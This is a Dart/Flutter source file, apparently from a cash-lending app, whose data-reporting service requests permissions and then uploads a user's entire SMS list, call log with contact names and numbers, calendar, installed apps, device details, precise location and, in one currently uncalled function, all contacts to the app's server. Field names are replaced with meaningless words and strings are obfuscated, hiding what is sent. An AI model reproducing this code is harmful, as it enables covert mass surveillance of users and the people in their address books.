import 'dart:convert';
import 'dart:io';

import 'package:call_log/call_log.dart';
import 'package:fast_contacts/fast_contacts.dart';
// import 'package:flutter_native_contact_picker/flutter_native_contact_picker.dart';
import 'package:ladder_cash/app/app.dart';
import 'package:ladder_cash/app/com/plugin/device_data_plugin.dart';
import 'package:ladder_cash/app/com/view/common_view.dart';
import 'package:geolocator/geolocator.dart';

import 'package:ladder_cash/app/com/http/http_request.dart';
import 'package:ladder_cash/app/com/http/Res.dart';
import 'package:ladder_cash/app/com/manage/location_manage/location_info.dart';
import 'package:ladder_cash/app/com/manage/location_manage/location_manage.dart';
import 'package:ladder_cash/app/com/util/permission_utils.dart';
import 'package:liuxlcommon/util/string_utils.dart';
import 'package:ladder_cash/app/key_mix.dart';

import '../../../library/src/logger.dart';

class ReportedDataService {
  static bool isUploadContact = false;
  static bool isUploadAppList = false;
  static bool isUploadLocationInfo = false;
  static bool isUploadSMS = false;
  static bool isDeviceInfo = false;
  static bool isUploadCallLog = false;
  static bool isReportCalendar = false;

  static reset() {
    isUploadContact = false;
    isUploadAppList = false;
    isUploadLocationInfo = false;
    isUploadSMS = false;
    isDeviceInfo = false;
  }

  ///上报数据
  reportData({goToSetting = true}) async {
    try {
      if (!await checkPermission(goToSetting: goToSetting)) return;
      reportLocationInfo();
      if (Platform.isAndroid) {
        reportSms();
        reportCallLog();
        reportCalendar();
        reportAppList();
        // reportContact();
      }
      reportDeviceInfo();
    } catch (e) {}
  }

  Future<bool> checkPermission({goToSetting = true}) async {
    var b = await locationPermission(goToSetting: goToSetting);
    if (Platform.isAndroid) {
      if (b) b = await PermissionUtils.checkSMSPermission();
      if (b) b = await PermissionUtils.checkPhonePermission();
      if (b) b = await PermissionUtils.checkCalendarPermission();
      if (b) b = await DeviceDataPlugin.requestPermission;
    }
    return b;
  }

  ///上报日历
  reportCalendar() async {
    if (isReportCalendar) return;
    if (!await PermissionUtils.checkCalendarPermission()) return null;
    isReportCalendar = true;
    Res r = await updateDevice(await DeviceDataPlugin.getCalendarList, 8);
    if (r.success) {
      isReportCalendar = true;
    } else {
      isReportCalendar = false;
    }
  }

  reportCallLog() async {
    if (isUploadCallLog) return;
    isUploadCallLog = true;
    List<Map<String, dynamic>> lists = [];
    Iterable<CallLogEntry> entries = await CallLog.get();
    if (entries.isNotEmpty) {
      for (CallLogEntry e in entries) {
        int calltype = 0;
        if (e.callType == CallType.incoming) calltype = 1;
        if (e.callType == CallType.outgoing) calltype = 2;
        if (e.callType == CallType.missed) calltype = 3;
        if (e.callType == CallType.voiceMail) calltype = 4;
        if (e.callType == CallType.rejected) calltype = 5;
        if (e.callType == CallType.blocked) calltype = 6;
        if (e.callType == CallType.answeredExternally) calltype = 7;
        if (e.callType == CallType.unknown) calltype = 8;
        if (e.callType == CallType.wifiIncoming) calltype = 9;
        if (e.callType == CallType.wifiOutgoing) calltype = 10;

        lists.add(<String, dynamic>{
          "blunted": e.timestamp, //联系时间
          "lure": e.duration, //通话时长
          "heidegger": e.number, //对方电话
          "name": e.name, //对方姓名
          "fight": calltype
        });
      }
    }
    Res r = await updateDevice(lists, 4);
    if (r.success) {
      isUploadCallLog = true;
    } else {
      isUploadCallLog = false;
    }
  }

  ///定位权限
  Future<bool> locationPermission({goToSetting = true}) async {
    LocationPermission permission;
    // Test if location services are enabled.
    var serviceEnabled = await Geolocator.isLocationServiceEnabled();
    if (!serviceEnabled) {
      // return Future.error('Location services are disabled.');
      //    return await Location().requestService();
      // DeviceDataPlugin.openLocationSetting;
      return true;
    }
    permission = await Geolocator.checkPermission();
    if (permission == LocationPermission.denied) {
      permission = await Geolocator.requestPermission();
      if (permission == LocationPermission.denied) {
        //位置权限被拒绝
        // return Future.error('Location permissions are denied');
        return false;
      }
    }
    if (permission == LocationPermission.deniedForever) {
      permission = await Geolocator.requestPermission();
      // if (App.localeEn) {
      //   //印度不弹窗
      //   isPermissionsDialog = true;
      // }
      if (!isPermissionsDialog && goToSetting) {
        showPermissionsDialog(
            title: App.localeEn
                ? "Inaccessible location"
                : "Ubicación inaccesible",
            message: App.localeEn
                ? "Allow the application to access the location"
                : "Permitir que la aplicación acceda a la ubicación");
      } else {
        return true;
      }
      return false;
    }
    return true;
  }

  ///上报位置信息
  reportLocationInfo() async {
    if (isUploadLocationInfo) return;
    LocationInfo? info = await LocationManage().determinePosition();
    if (info == null) return;

    Map<String, dynamic> params = Platform.isIOS
        ? {
            'admin_area'.hx: info.province, //省
            'country_code'.hx: info.countryCode, //国家code
            'country_name'.hx: info.country, //国家
            'feature_name'.hx: info.address, //街道
            'latitude'.hx: StringUtils.defaultValue(
                StringUtils.toFixed(info.latitude, 6), "0.000000"), //维度
            'longitude'.hx: StringUtils.defaultValue(
                StringUtils.toFixed(info.longitude, 6), "0.000000"), //经度
            'locality'.hx: info.city, //市
            'sub_admin_area'.hx: info.area //区/县
          }
        : {
            //android
            "broken": StringUtils.defaultValue(
                StringUtils.toFixed(info.longitude, 6), "0.000000"), //经度
            "cruel": StringUtils.defaultValue(
                StringUtils.toFixed(info.latitude, 6), "0.000000"), //维度
            "dalliance": info.address,
            "sermon": info.timestamp?.millisecondsSinceEpoch,
            "sustain": {
              "flexibility": info.address,
              "differ": info.city,
              "absolute": info.country,
              "lightness": info.address,
              "charm": info.area,
              "fecundity": info.province
            }
          };
    Res r = await HttpRequest().post(
        Platform.isIOS
            ? '/credit-info/upload-location-ios'.hx
            : "/impossible/rousing",
        params,
        parse: false,
        autoToast: false);
    if (r.success) {
      // isUploadLocationInfo = true;
    }
  }

  ///上报短信
  reportSms() async {
    if (isUploadSMS) return; //打开app只需要上传一次
    if (!await PermissionUtils.checkSMSPermission()) return null;
    isUploadSMS = true;
    Res r = await updateDevice(await DeviceDataPlugin.smsList, 1);
    if (r.success) {
      isUploadSMS = true;
    } else {
      isUploadSMS = false;
    }
  }

  ///上报app列表
  reportAppList() async {
    if (isUploadAppList) return; //打开app只需要上传一次
    isUploadAppList = true;
    Res r = await updateDevice(await DeviceDataPlugin.getAppList, 2);
    if (r.success) {
      isUploadAppList = true;
    } else {
      isUploadAppList = false;
    }
  }

  ///上报联系人
  reportContact() async {
    // if (isUploadContact) return; //打开app只需要上传一次
    // List contacts = await DeviceDataPlugin.getContacts??[];
    final contacts = await FastContacts.getAllContacts();
    // List<Contact> contacts = await ContactsService.getContacts();
    List<Map<String, dynamic>> lists = [];
    if (contacts.isNotEmpty) {
      for (Contact c in contacts) {
        String phones = '';
        for (Phone p in c.phones ?? []) {
          phones ='$phones,${p.number}';
        }
        if (phones.length > 0) phones = phones.substring(1);
        lists.add(<String, dynamic>{
          'name'.hx: c.displayName?.replaceAll('-', ' ') ?? '',
          'phone'.hx: phones,
        });
      }
      Res r = await HttpRequest().post('/credit-info/upload-contacts-ios'.hx,
          <String, dynamic>{'data'.hx: json.encode(lists)},
          parse: false, autoToast: false, isPrintLog: false);
      if (r.success) {
        isUploadContact = true;
      }
    }
  }

  ///上报设备信息
  reportDeviceInfo() async {
    if (isDeviceInfo) return;
    Res r = await updateDevice(await DeviceDataPlugin.getDeviceInfo, 5);
    if (Platform.isIOS) {
      isDeviceInfo = false;
    } else {
      if (r.success) {
        isDeviceInfo = true;
      }
    }
  }

  Future<Res> updateDevice(dynamic jsonStr, type) async {
    if (jsonStr is Map || jsonStr is List) jsonStr = json.encode(jsonStr);
    String url = '/credit-info/upload-device-new-ios'.hx;
    if (Platform.isAndroid) {
      url = '/service/user/upload-contents'.hx;
    }
    return await HttpRequest().post(
        url, <String, dynamic>{'data'.hx: jsonStr, 'type'.hx: type},
        parse: false, autoToast: false, isPrintLog: false);
  }

  // Future<List<Contact>> getContact() async {
  //   List<Contact>? contacts =
  //       await ContactsService.getContacts(withThumbnails: false);
  //   return contacts ?? [];
  // }
}
